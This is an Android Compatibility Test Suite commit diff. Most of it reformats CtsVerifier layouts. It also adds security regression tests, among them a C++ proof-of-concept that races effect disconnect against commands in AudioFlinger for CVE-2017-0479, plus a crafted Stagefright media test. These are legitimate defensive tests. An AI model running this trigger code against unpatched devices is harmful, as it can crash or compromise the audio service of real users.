[automerger] RESTRICT AUTOMERGE: CTS Test for Android Security b/72461571 b/32813456 am: e6eba7c8e9

Change-Id: I53d3f41b286c5f4eb9a788c4ddf31222c0632675
diff --git a/apps/CtsVerifier/res/layout/js_charging.xml b/apps/CtsVerifier/res/layout/js_charging.xml
index 306d02d..70348fb 100644
--- a/apps/CtsVerifier/res/layout/js_charging.xml
+++ b/apps/CtsVerifier/res/layout/js_charging.xml
@@ -1,36 +1,21 @@
-<?xml version="1.0" encoding="utf-8"?><!--
-     Copyright (C) 2016 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
+<?xml version="1.0" encoding="utf-8"?>
 <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
     style="@style/RootLayoutPadding"
     android:layout_width="match_parent"
     android:layout_height="match_parent"
     android:orientation="vertical">
-
     <ScrollView
         android:layout_width="match_parent"
         android:layout_height="match_parent">
         <LinearLayout
+            android:orientation="vertical"
             android:layout_width="match_parent"
-            android:layout_height="match_parent"
-            android:orientation="vertical">
+            android:layout_height="match_parent">
             <TextView
                 android:layout_width="match_parent"
                 android:layout_height="wrap_content"
-                android:layout_margin="@dimen/js_padding"
-                android:text="@string/js_test_description"/>
+                android:text="@string/js_test_description"
+                android:layout_margin="@dimen/js_padding"/>
             <TextView
                 android:layout_width="match_parent"
                 android:layout_height="wrap_content"
@@ -42,9 +27,9 @@
                 android:layout_width="wrap_content"
                 android:layout_height="wrap_content"
                 android:layout_gravity="center"
-                android:enabled="false"
+                android:text="@string/js_start_test_text"
                 android:onClick="startTest"
-                android:text="@string/js_start_test_text"/>
+                android:enabled="false"/>
             <TextView
                 android:id="@+id/js_waiting_for_charging_text_view"
                 android:layout_width="match_parent"
@@ -71,14 +56,14 @@
             <LinearLayout
                 android:layout_width="wrap_content"
                 android:layout_height="wrap_content"
-                android:layout_marginBottom="@dimen/js_padding"
-                android:layout_marginTop="@dimen/js_padding">
+                android:layout_marginTop="@dimen/js_padding"
+                android:layout_marginBottom="@dimen/js_padding">
                 <ImageView
                     android:id="@+id/charging_on_test_image"
                     android:layout_width="wrap_content"
                     android:layout_height="wrap_content"
-                    android:layout_marginRight="@dimen/js_padding"
-                    android:src="@drawable/fs_indeterminate"/>
+                    android:src="@drawable/fs_indeterminate"
+                    android:layout_marginRight="@dimen/js_padding"/>
                 <TextView
                     android:layout_width="wrap_content"
                     android:layout_height="wrap_content"
@@ -94,21 +79,21 @@
             <LinearLayout
                 android:layout_width="wrap_content"
                 android:layout_height="wrap_content"
-                android:layout_marginBottom="@dimen/js_padding"
-                android:layout_marginTop="@dimen/js_padding">
+                android:layout_marginTop="@dimen/js_padding"
+                android:layout_marginBottom="@dimen/js_padding">
                 <ImageView
                     android:id="@+id/charging_off_test_image"
                     android:layout_width="wrap_content"
                     android:layout_height="wrap_content"
-                    android:layout_marginRight="@dimen/js_padding"
-                    android:src="@drawable/fs_indeterminate"/>
+                    android:src="@drawable/fs_indeterminate"
+                    android:layout_marginRight="@dimen/js_padding"/>
                 <TextView
                     android:layout_width="wrap_content"
                     android:layout_height="wrap_content"
                     android:text="@string/js_charging_off_test"
                     android:textSize="16dp"/>
             </LinearLayout>
-            <include layout="@layout/pass_fail_buttons"/>
+            <include layout="@layout/pass_fail_buttons" />
         </LinearLayout>
     </ScrollView>
 </LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/js_connectivity.xml b/apps/CtsVerifier/res/layout/js_connectivity.xml
index 923d19e..639280d 100644
--- a/apps/CtsVerifier/res/layout/js_connectivity.xml
+++ b/apps/CtsVerifier/res/layout/js_connectivity.xml
@@ -1,18 +1,4 @@
-<?xml version="1.0" encoding="utf-8"?><!--
-     Copyright (C) 2016 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
+<?xml version="1.0" encoding="utf-8"?>
 <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
     style="@style/RootLayoutPadding"
     android:layout_width="match_parent"
@@ -22,19 +8,19 @@
         android:layout_width="match_parent"
         android:layout_height="match_parent">
         <LinearLayout
-            android:layout_width="match_parent" android:layout_height="match_parent"
-            android:orientation="vertical">
+            android:orientation="vertical" android:layout_width="match_parent"
+            android:layout_height="match_parent">
             <TextView
                 android:layout_width="match_parent"
                 android:layout_height="wrap_content"
-                android:layout_margin="@dimen/js_padding"
-                android:text="@string/js_test_description"/>
+                android:text="@string/js_test_description"
+                android:layout_margin="@dimen/js_padding"/>
 
             <TextView
                 android:layout_width="match_parent"
                 android:layout_height="wrap_content"
-                android:layout_margin="@dimen/js_padding"
                 android:text="@string/js_connectivity_description_1"
+                android:layout_margin="@dimen/js_padding"
                 android:textStyle="bold"/>
 
             <Button
@@ -42,21 +28,21 @@
                 android:layout_width="wrap_content"
                 android:layout_height="wrap_content"
                 android:layout_gravity="center"
-                android:enabled="false"
+                android:text="@string/js_start_test_text"
                 android:onClick="startTest"
-                android:text="@string/js_start_test_text"/>
+                android:enabled="false"/>
 
             <LinearLayout
                 android:layout_width="wrap_content"
                 android:layout_height="wrap_content"
-                android:layout_marginBottom="@dimen/js_padding"
-                android:layout_marginTop="@dimen/js_padding">
+                android:layout_marginTop="@dimen/js_padding"
+                android:layout_marginBottom="@dimen/js_padding">
                 <ImageView
                     android:id="@+id/connectivity_off_test_unmetered_image"
                     android:layout_width="wrap_content"
                     android:layout_height="wrap_content"
-                    android:layout_marginRight="@dimen/js_padding"
-                    android:src="@drawable/fs_indeterminate"/>
+                    android:src="@drawable/fs_indeterminate"
+                    android:layout_marginRight="@dimen/js_padding"/>
                 <TextView
                     android:layout_width="wrap_content"
                     android:layout_height="wrap_content"
@@ -67,14 +53,14 @@
             <LinearLayout
                 android:layout_width="wrap_content"
                 android:layout_height="wrap_content"
-                android:layout_marginBottom="@dimen/js_padding"
-                android:layout_marginTop="@dimen/js_padding">
+                android:layout_marginTop="@dimen/js_padding"
+                android:layout_marginBottom="@dimen/js_padding">
                 <ImageView
                     android:id="@+id/connectivity_off_test_any_connectivity_image"
                     android:layout_width="wrap_content"
                     android:layout_height="wrap_content"
-                    android:layout_marginRight="@dimen/js_padding"
-                    android:src="@drawable/fs_indeterminate"/>
+                    android:src="@drawable/fs_indeterminate"
+                    android:layout_marginRight="@dimen/js_padding"/>
                 <TextView
                     android:layout_width="wrap_content"
                     android:layout_height="wrap_content"
@@ -85,14 +71,14 @@
             <LinearLayout
                 android:layout_width="wrap_content"
                 android:layout_height="wrap_content"
-                android:layout_marginBottom="@dimen/js_padding"
-                android:layout_marginTop="@dimen/js_padding">
+                android:layout_marginTop="@dimen/js_padding"
+                android:layout_marginBottom="@dimen/js_padding">
                 <ImageView
                     android:id="@+id/connectivity_off_test_no_connectivity_image"
                     android:layout_width="wrap_content"
                     android:layout_height="wrap_content"
-                    android:layout_marginRight="@dimen/js_padding"
-                    android:src="@drawable/fs_indeterminate"/>
+                    android:src="@drawable/fs_indeterminate"
+                    android:layout_marginRight="@dimen/js_padding"/>
                 <TextView
                     android:layout_width="wrap_content"
                     android:layout_height="wrap_content"
@@ -100,7 +86,7 @@
                     android:textSize="16dp"/>
             </LinearLayout>
 
-            <include layout="@layout/pass_fail_buttons"/>
+            <include layout="@layout/pass_fail_buttons" />
         </LinearLayout>
     </ScrollView>
 </LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/js_idle.xml b/apps/CtsVerifier/res/layout/js_idle.xml
index 620ed97..f9dcc70 100644
--- a/apps/CtsVerifier/res/layout/js_idle.xml
+++ b/apps/CtsVerifier/res/layout/js_idle.xml
@@ -1,18 +1,4 @@
-<?xml version="1.0" encoding="utf-8"?><!--
-     Copyright (C) 2016 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
+<?xml version="1.0" encoding="utf-8"?>
 <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
     android:layout_width="match_parent"
     android:layout_height="match_parent"
@@ -20,42 +6,43 @@
     <ScrollView
         android:layout_width="match_parent"
         android:layout_height="match_parent">
-        <LinearLayout android:layout_width="match_parent"
-            android:layout_height="match_parent"
-            android:orientation="vertical">
+        <LinearLayout
+            android:orientation="vertical"
+            android:layout_width="match_parent"
+            android:layout_height="match_parent">
             <TextView
                 android:layout_width="match_parent"
                 android:layout_height="wrap_content"
-                android:layout_margin="@dimen/js_padding"
-                android:text="@string/js_test_description"/>
+                android:text="@string/js_test_description"
+                android:layout_margin="@dimen/js_padding"/>
             <Button
                 android:id="@+id/js_idle_start_test_button"
                 android:layout_width="wrap_content"
                 android:layout_height="wrap_content"
                 android:layout_gravity="center"
-                android:enabled="false"
+                android:text="@string/js_start_test_text"
                 android:onClick="startTest"
-                android:text="@string/js_start_test_text"/>
+                android:enabled="false"/>
             <TextView
                 android:id="@+id/js_idle_continue_instruction_view"
                 android:layout_width="match_parent"
                 android:layout_height="wrap_content"
-                android:layout_margin="@dimen/js_padding"
                 android:text="@string/js_idle_continue_instruction"
+                android:layout_margin="@dimen/js_padding"
                 android:textStyle="bold"
                 android:visibility="gone"/>
 
             <LinearLayout
                 android:layout_width="wrap_content"
                 android:layout_height="wrap_content"
-                android:layout_marginBottom="@dimen/js_padding"
-                android:layout_marginTop="@dimen/js_padding">
+                android:layout_marginTop="@dimen/js_padding"
+                android:layout_marginBottom="@dimen/js_padding">
                 <ImageView
                     android:id="@+id/idle_off_test_image"
                     android:layout_width="wrap_content"
                     android:layout_height="wrap_content"
-                    android:layout_marginRight="@dimen/js_padding"
-                    android:src="@drawable/fs_indeterminate"/>
+                    android:src="@drawable/fs_indeterminate"
+                    android:layout_marginRight="@dimen/js_padding"/>
                 <TextView
                     android:layout_width="wrap_content"
                     android:layout_height="wrap_content"
@@ -65,22 +52,21 @@
             <LinearLayout
                 android:layout_width="wrap_content"
                 android:layout_height="wrap_content"
-                android:layout_marginBottom="@dimen/js_padding"
-                android:layout_marginTop="@dimen/js_padding">
+                android:layout_marginTop="@dimen/js_padding"
+                android:layout_marginBottom="@dimen/js_padding">
                 <ImageView
                     android:id="@+id/idle_on_test_image"
                     android:layout_width="wrap_content"
                     android:layout_height="wrap_content"
-                    android:layout_marginRight="@dimen/js_padding"
-                    android:src="@drawable/fs_indeterminate"/>
+                    android:src="@drawable/fs_indeterminate"
+                    android:layout_marginRight="@dimen/js_padding"/>
                 <TextView
                     android:layout_width="wrap_content"
                     android:layout_height="wrap_content"
                     android:text="@string/js_idle_item_idle_on"
                     android:textSize="16dp"/>
             </LinearLayout>
-
-            <include layout="@layout/pass_fail_buttons"/>
+            <include layout="@layout/pass_fail_buttons" />
         </LinearLayout>
     </ScrollView>
 </LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/location_mode_main.xml b/apps/CtsVerifier/res/layout/location_mode_main.xml
index a9206fa..612a963 100644
--- a/apps/CtsVerifier/res/layout/location_mode_main.xml
+++ b/apps/CtsVerifier/res/layout/location_mode_main.xml
@@ -1,4 +1,5 @@
-<?xml version="1.0" encoding="utf-8"?><!--
+<?xml version="1.0" encoding="utf-8"?>
+<!--
      Copyright (C) 2013 The Android Open Source Project
 
      Licensed under the Apache License, Version 2.0 (the "License");
@@ -29,15 +30,16 @@
             android:layout_height="0dp"
             android:layout_weight="1"
             android:orientation="vertical">
+
             <LinearLayout
                 android:id="@+id/test_items"
                 android:layout_width="match_parent"
                 android:layout_height="wrap_content"
-                android:orientation="vertical">
+                android:orientation="vertical" >
             </LinearLayout>
         </ScrollView>
 
-        <include layout="@layout/pass_fail_buttons"/>
+        <include layout="@layout/pass_fail_buttons" />
 
     </LinearLayout>
 </LinearLayout>
diff --git a/apps/CtsVerifier/res/values-watch/strings.xml b/apps/CtsVerifier/res/values-watch/strings.xml
index 1f25b04..6f1470c 100644
--- a/apps/CtsVerifier/res/values-watch/strings.xml
+++ b/apps/CtsVerifier/res/values-watch/strings.xml
@@ -19,4 +19,9 @@
         <item>com.android.cts.verifier.notifications.NotificationAttentionManagementVerifierActivity</item>
         <item>com.android.cts.verifier.notifications.NotificationListenerVerifierActivity</item>
     </string-array>
-</resources>
\ No newline at end of file
+
+    <string name="snsr_device_suspend_test_instr">Once you begin the test, disconnect USB, then
+      perform a palm press to turn off display and put device into suspend mode. The screen will
+      turn on and device will vibrate once all the tests are completed.
+    </string>
+</resources>
diff --git a/apps/CtsVerifier/res/values/styles.xml b/apps/CtsVerifier/res/values/styles.xml
index ca85431..64fd4fe 100644
--- a/apps/CtsVerifier/res/values/styles.xml
+++ b/apps/CtsVerifier/res/values/styles.xml
@@ -11,12 +11,7 @@
         <item name="android:padding">5dp</item>
     </style>
     <style name="RootLayoutPadding">
-      <item name="android:paddingEnd">?android:attr/listPreferredItemPaddingEnd</item>
-      <item name="android:paddingBottom">?android:attr/dialogPreferredPadding</item>
-      <item name="android:paddingLeft">?android:attr/listPreferredItemPaddingLeft</item>
-      <item name="android:paddingRight">?android:attr/listPreferredItemPaddingRight</item>
-      <item name="android:paddingStart">?android:attr/listPreferredItemPaddingStart</item>
-      <item name="android:paddingTop">?android:attr/dialogPreferredPadding</item>
+        <item name="android:padding">10dip</item>
     </style>
     <style name="OverlayTheme" parent="android:Theme.Dialog">
         <item name="android:windowNoTitle">true</item>
diff --git a/hostsidetests/security/AndroidTest.xml b/hostsidetests/security/AndroidTest.xml
index 2d7c3e0..22d0b09 100755
--- a/hostsidetests/security/AndroidTest.xml
+++ b/hostsidetests/security/AndroidTest.xml
@@ -92,6 +92,7 @@
         <!--__________________-->
         <!-- Bulletin 2017-03 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2017-0479->/data/local/tmp/CVE-2017-0479" />
         <option name="push" value="CVE-2017-0334->/data/local/tmp/CVE-2017-0334" />
         <option name="push" value="CVE-2016-8479->/data/local/tmp/CVE-2016-8479" />
         <option name="push" value="CVE-2017-0508->/data/local/tmp/CVE-2017-0508" />
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0479/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0479/Android.mk
new file mode 100644
index 0000000..fdfbcd1
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0479/Android.mk
@@ -0,0 +1,37 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0479
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_SHARED_LIBRARIES := libmedia libutils libbinder libandroid
+LOCAL_C_INCLUDES:= \
+        $(TOP)/frameworks/av/include/media/ \
+        $(TOP)/frameworks/av/services/ \
+        $(TOP)/system/media/audio_utils/include/ \
+        $(TOP)/external/sonic/
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts
+LOCAL_STS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CPPFLAGS = -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0479/poc.cpp b/hostsidetests/security/securityPatch/CVE-2017-0479/poc.cpp
new file mode 100644
index 0000000..4b10661
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0479/poc.cpp
@@ -0,0 +1,93 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <stdlib.h>
+#include <audioflinger/AudioFlinger.h>
+#include <hardware/audio_effect.h>
+#include <media/IAudioFlinger.h>
+#include <media/IEffect.h>
+#include <media/IEffectClient.h>
+
+using namespace android;
+
+struct EffectClient : public android::BnEffectClient {
+  EffectClient() {}
+  virtual void controlStatusChanged(bool controlGranted __unused) {}
+  virtual void enableStatusChanged(bool enabled __unused) {}
+  virtual void commandExecuted(uint32_t cmdCode __unused,
+                               uint32_t cmdSize __unused,
+                               void *pCmdData __unused,
+                               uint32_t replySize __unused,
+                               void *pReplyData __unused) {}
+};
+
+sp<IEffect> gEffect;
+
+void *disconnectThread(void *) {
+  usleep(5);
+  if (gEffect != NULL && gEffect.get() != NULL) {
+    gEffect->disconnect();
+  }
+  return NULL;
+}
+
+int main() {
+  static const effect_uuid_t EFFECT_UIID_EQUALIZER = {
+      0x0bed4300, 0xddd6, 0x11db, 0x8f34, {0x00, 0x02, 0xa5, 0xd5, 0xc5, 0x1b}};
+
+  effect_descriptor_t descriptor;
+  memset(&descriptor, 0, sizeof(descriptor));
+  descriptor.type = EFFECT_UIID_EQUALIZER;
+  descriptor.uuid = *EFFECT_UUID_NULL;
+  sp<EffectClient> effectClient(new EffectClient());
+
+  const int32_t priority = 0;
+  audio_session_t sessionId = (audio_session_t)(128);
+  const audio_io_handle_t io = AUDIO_IO_HANDLE_NONE;
+  const String16 opPackageName("com.exp.poc");
+  int32_t id;
+  int i, enabled;
+  status_t err;
+
+  uint32_t cmdCode, cmdSize, pReplySize;
+  int *pCmdData, *pReplyData;
+
+  cmdCode = EFFECT_CMD_GET_CONFIG;
+  cmdSize = 0;
+  pReplySize = sizeof(effect_config_t);
+  pCmdData = (int *)malloc(cmdSize);
+  pReplyData = (int *)malloc(pReplySize);
+
+  gEffect = NULL;
+  pthread_t pt;
+  const sp<IAudioFlinger> &audioFlinger = AudioSystem::get_audio_flinger();
+
+  for (i=0; i<100; i++) {
+    gEffect = audioFlinger->createEffect(&descriptor, effectClient, priority,
+                                         io, sessionId, opPackageName, &err,
+                                         &id, &enabled);
+    if (gEffect == NULL || err != NO_ERROR) {
+      return -1;
+    }
+    pthread_create(&pt, NULL, disconnectThread, NULL);
+    err = gEffect->command(cmdCode, cmdSize, (void *)pCmdData, &pReplySize,
+                           (void *)pReplyData);
+    usleep(50);
+  }
+  sleep(2);
+  return 0;
+}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_03.java b/hostsidetests/security/src/android/security/cts/Poc17_03.java
index 153accd..80c959c 100644
--- a/hostsidetests/security/src/android/security/cts/Poc17_03.java
+++ b/hostsidetests/security/src/android/security/cts/Poc17_03.java
@@ -70,4 +70,16 @@
                +"|0x[c-fC-F][a-fA-F0-9]{7}).*",out);
         }
     }
+
+    /**
+     * b/32707507
+     */
+    @SecurityTest
+    public void testPocCVE_2017_0479() throws Exception {
+        AdbUtils.runCommandLine("logcat -c" , getDevice());
+        AdbUtils.runPocNoOutput("CVE-2017-0479", getDevice(), 60);
+        String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
+        assertNotMatchesMultiLine(".*Fatal signal 11 \\(SIGSEGV\\).*>>> /system/bin/" +
+                         "audioserver <<<.*", logcatOut);
+    }
 }
diff --git a/hostsidetests/security/src/android/security/cts/SecurityTestCase.java b/hostsidetests/security/src/android/security/cts/SecurityTestCase.java
index 1baea6b..bc1e07b 100644
--- a/hostsidetests/security/src/android/security/cts/SecurityTestCase.java
+++ b/hostsidetests/security/src/android/security/cts/SecurityTestCase.java
@@ -31,10 +31,15 @@
 import java.io.OutputStream;
 import java.util.Scanner;
 import java.util.regex.Pattern;
+import com.android.ddmlib.MultiLineReceiver;
+import com.android.ddmlib.Log;
 
 public class SecurityTestCase extends DeviceTestCase {
 
+    private static final String LOG_TAG = "SecurityTestCase";
+
     private long kernelStartTime;
+    private static Thread checkOom = null;
 
     /**
      * Waits for device to be online, marks the most recent boottime of the device
@@ -48,6 +53,12 @@
             Integer.parseInt(uptime.substring(0, uptime.indexOf('.')));
         //TODO:(badash@): Watch for other things to track.
         //     Specifically time when app framework starts
+
+        // Start Out of Memory detection in separate thread
+        //if (checkOom == null || !checkOom.isAlive()) {
+        //    checkOom = new Thread(new OomChecker());
+        //    checkOom.start();
+        //}
     }
 
     /**
@@ -114,4 +125,42 @@
                    Pattern.compile(pattern,
                    Pattern.DOTALL).matcher(input).matches());
     }
+
+    class OomChecker implements Runnable {
+
+        @Override
+        public void run() {
+            MultiLineReceiver rcvr = new MultiLineReceiver() {
+                private boolean isCancelled = false;
+
+                public void processNewLines(String[] lines) {
+                    for (String line : lines) {
+                        if (Pattern.matches(".*lowmemorykiller.*", line)) {
+                            // low memory detected, reboot device to clear memory and pass test
+                            isCancelled = true;
+                            Log.i(LOG_TAG, "lowmemorykiller detected; rebooting device and passing test");
+                            try {
+                                getDevice().rebootUntilOnline();
+                                updateKernelStartTime();
+                            } catch (Exception e) {
+                                Log.e(LOG_TAG, e.toString());
+                            }
+                            return; // we don't need to process remaining lines in the array
+                        }
+                    }
+                }
+
+                public boolean isCancelled() {
+                    return isCancelled;
+                }
+            };
+
+            try {
+                AdbUtils.runCommandLine("logcat -c", getDevice());
+                getDevice().executeShellCommand("logcat", rcvr);
+            } catch (Exception e) {
+                Log.e(LOG_TAG, e.toString());
+            }
+        }
+    }
 }
diff --git a/tests/tests/security/res/raw/cve_2016_3742_b_28165659.mp4 b/tests/tests/security/res/raw/cve_2016_3742_b_28165659.mp4
new file mode 100644
index 0000000..3b5003d
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2016_3742_b_28165659.mp4
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index 050a4a3..c941d2f 100755
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -325,6 +325,11 @@
     }
 
     @SecurityTest
+    public void testStagefright_cve_2016_3742_b_28165659() throws Exception {
+        doStagefrightTest(R.raw.cve_2016_3742_b_28165659);
+    }
+
+    @SecurityTest
     public void testStagefright_bug_35039946() throws Exception {
         doStagefrightTestRawBlob(R.raw.bug_35039946_hevc, "video/hevc", 320, 420);
     }
diff --git a/tools/cts-tradefed/Android.mk b/tools/cts-tradefed/Android.mk
index a9bb07b..bb4b934 100644
--- a/tools/cts-tradefed/Android.mk
+++ b/tools/cts-tradefed/Android.mk
@@ -25,7 +25,7 @@
 LOCAL_SUITE_TARGET_ARCH := $(TARGET_ARCH)
 LOCAL_SUITE_NAME := CTS
 LOCAL_SUITE_FULLNAME := "Compatibility Test Suite"
-LOCAL_SUITE_VERSION := 7.1_r201708s
+LOCAL_SUITE_VERSION := 7.1_r1
 
 LOCAL_MODULE := cts-tradefed